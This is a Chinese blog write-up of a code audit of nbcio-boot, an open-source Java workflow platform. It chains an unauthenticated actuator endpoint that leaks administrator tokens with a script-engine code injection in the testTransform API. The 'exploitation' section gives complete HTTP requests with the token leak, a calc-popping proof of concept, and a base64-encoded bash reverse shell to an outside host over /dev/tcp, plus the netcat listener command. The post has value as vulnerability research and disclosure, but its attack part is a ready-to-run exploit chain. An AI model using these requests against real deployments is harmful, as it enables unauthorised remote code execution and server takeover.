首页 > 系统相关 >记一次代码审计之nbcio-boot从信息泄露到Getshell

记一次代码审计之nbcio-boot从信息泄露到Getshell

时间:2024-09-04 20:51:22浏览次数:13  
标签:nbcio zh json boot Getshell Accept 537.36 bs

《Java代码审计》icon-default.png?t=N7T8http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

一、项目简介

NBCIO 亿事达企业管理平台后端代码,基于jeecgboot3.0和flowable6.7.2,初步完成了集流程设计、流程管理、流程执行、任务办理、流程监控于一体的开源工作流开发平台,同时增加了聊天功能、大屏设计器、网盘功能和项目管理。
项目地址:https://gitee.com/nbacheng/nbcio-boot

二、环境搭建

只需修改配置文件中的mysql和redis连接信息即可正常运行。

图片

三、未授权分析

在ShiroConfig中放开了actuator方法的未授权访问
org/jeecg/config/shiro/ShiroConfig.java:156

图片


直接访问/actuator/httptrace可以免认证获取管理员的token信息

图片

四、RCE分析

此处代码调用了ScriptEngine的eval方法,此方法若不做特殊处理易引起代码注入问题,这里不做过多解释。
com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java:99

图片

图片


根据方法调用反向跟踪到了/testTransform接口

图片


由于该接口参数结构较为复杂,所以需要找到前端触发点直接抓包获取参数。

图片


点击测试预览即可触发该接口

图片


抓包修改参数并发出请求。

图片


成功触发计算器,本地测试OK

图片

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.1:8081
Content-Length: 345
Accept: application/json, text/plain, */*
X-TIMESTAMP: 20240808213818
X-Sign: ED5C3621799AA3EAC6D2ABAB498B1DCD
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://218.75.87.38:9888
Referer: http://218.75.87.38:9888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"java.lang.Runtime.getRuntime().exec('calc');"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

五、漏洞实战

1、按照第三步获取管理员认证信息

图片

GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: *****
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

2、打开kali,nc监听指定端口

nc -lvnp 7777

图片

3、发送反弹shell的poc

图片

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: ****
Content-Length: 450
Accept: application/json, text/plain, */*
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMyMjgyMTQsInVzZXJuYW1lIjoiYWRtaW4ifQ.oCbEjdP074ORip82D4ix27FtG0WgVnAlc7fjRZeZxgM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==}|{base64,-d}|{bash,-i}\");"}],
"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

4、成功获取到目标shell

图片


至此,漏洞分析结束。

标签:nbcio,zh,json,boot,Getshell,Accept,537.36,bs
From: https://blog.csdn.net/persist213/article/details/141903630

相关文章

  • 民宿酒店管理系统springboot+vue功能解析与分享
    民宿酒店管理系统springboot+vue功能解析与分享技术架构前后端分离:前端与后台分开部署,Java后台主要提供RestfulAPI,前端使用Vue响应式框架搭建,前后端以JSON格式进行数据交互。后台:SpringBoot+SpringAOP+MyBatisPlus(兼容Mybatis)后台构建工具:MavenJVM版本:J......
  • 基于springboot+vue.js的高校学生综合测评管理系统附带文章源码部署视频讲解等
    文章目录前言详细视频演示具体实现截图核心技术介绍后端框架SpringBoot前端框架Vue持久层框架MyBaits为什么选择我代码参考数据库参考测试用例参考源码获取前言......
  • 基于springboot+vue.js的车位租赁系统附带文章源码部署视频讲解等
    文章目录前言详细视频演示具体实现截图核心技术介绍后端框架SpringBoot前端框架Vue持久层框架MyBaits为什么选择我代码参考数据库参考测试用例参考源码获取前言......
  • 基于java+springboot+vue的美发管理系统
    ......
  • springboot博客交流平台-计算机毕业设计源码56406
    摘要博客交流平台作为一种重要的网络平台,为用户提供了展示自我、分享经验和与他人互动的空间。在国内外,研究者们关注博客交流平台的各个方面,并取得了显著的进展。研究内容主要包括用户体验和界面设计、社交化和互动性、多媒体内容支持、移动设备适配和跨平台体验、数据分......
  • 国产化:springboot项目TongWeb替换tomcat踩坑实录
    前言全流程记录Tongweb替换Tomcat过程,最终实现为使用内嵌的Tongweb依赖替换SpringBoot默认的Tomcat,所以可直接从第5节开始看如何使用内嵌TongWeb替换Tomcat。1背景国产化浪潮下,项目要求实现web服务器的国产化,使用Tongweb替换Tomcat,商业版的Tongweb是单独启动的一个服务,需要......
  • 基于SpringBoot美食分享管理系统的设计和实现(源码+LW+部署讲解)
     目录:完整视频演示:系统架构:程序运行截图:核心代码参考:   数据库sql:项目技术介绍:java介绍:Mysql数据库介绍:为什么选择我:获取源码:......
  • pbootcms模板如何调用当前站点网址和当前页面网址
    在PbootCMS中,可以使用特定的标签来获取当前站点的网址和当前页面的URL。这对于需要使用网站路径前缀或者获取当前页面地址的场景非常有用。1.当前站点网址标签: {pboot:httpurl}功能:自适应获取当前访问的网址。2.当前页面标签: {pboot:pageurl}功能:获取当前访......
  • pbootcms模板内页如何调用相关文章
    在PbootCMS中,可以使用 {pboot:list} 标签来调用相关文章。相关文章通常是根据分类或其他条件筛选出来的文章。下面是一个详细的示例,展示如何在模板内页调用相关文章。示例代码假设你想在一个文章详情页中调用与当前文章相同分类下的其他文章,可以使用以下代码:html {pb......
  • 为什么SpringBoot的 jar 可以直接运行?
     SpringBoot应用程序被打包成的jar包之所以可以直接通过 java-jar 命令运行,是因为SpringBoot在构建过程中做了一些特殊的设计和配置。具体原因:Fat/UberJAR:SpringBoot使用maven插件spring-boot-maven-plugin(或Gradle对应的插件)将项目及其所有依赖项打包成一个单一......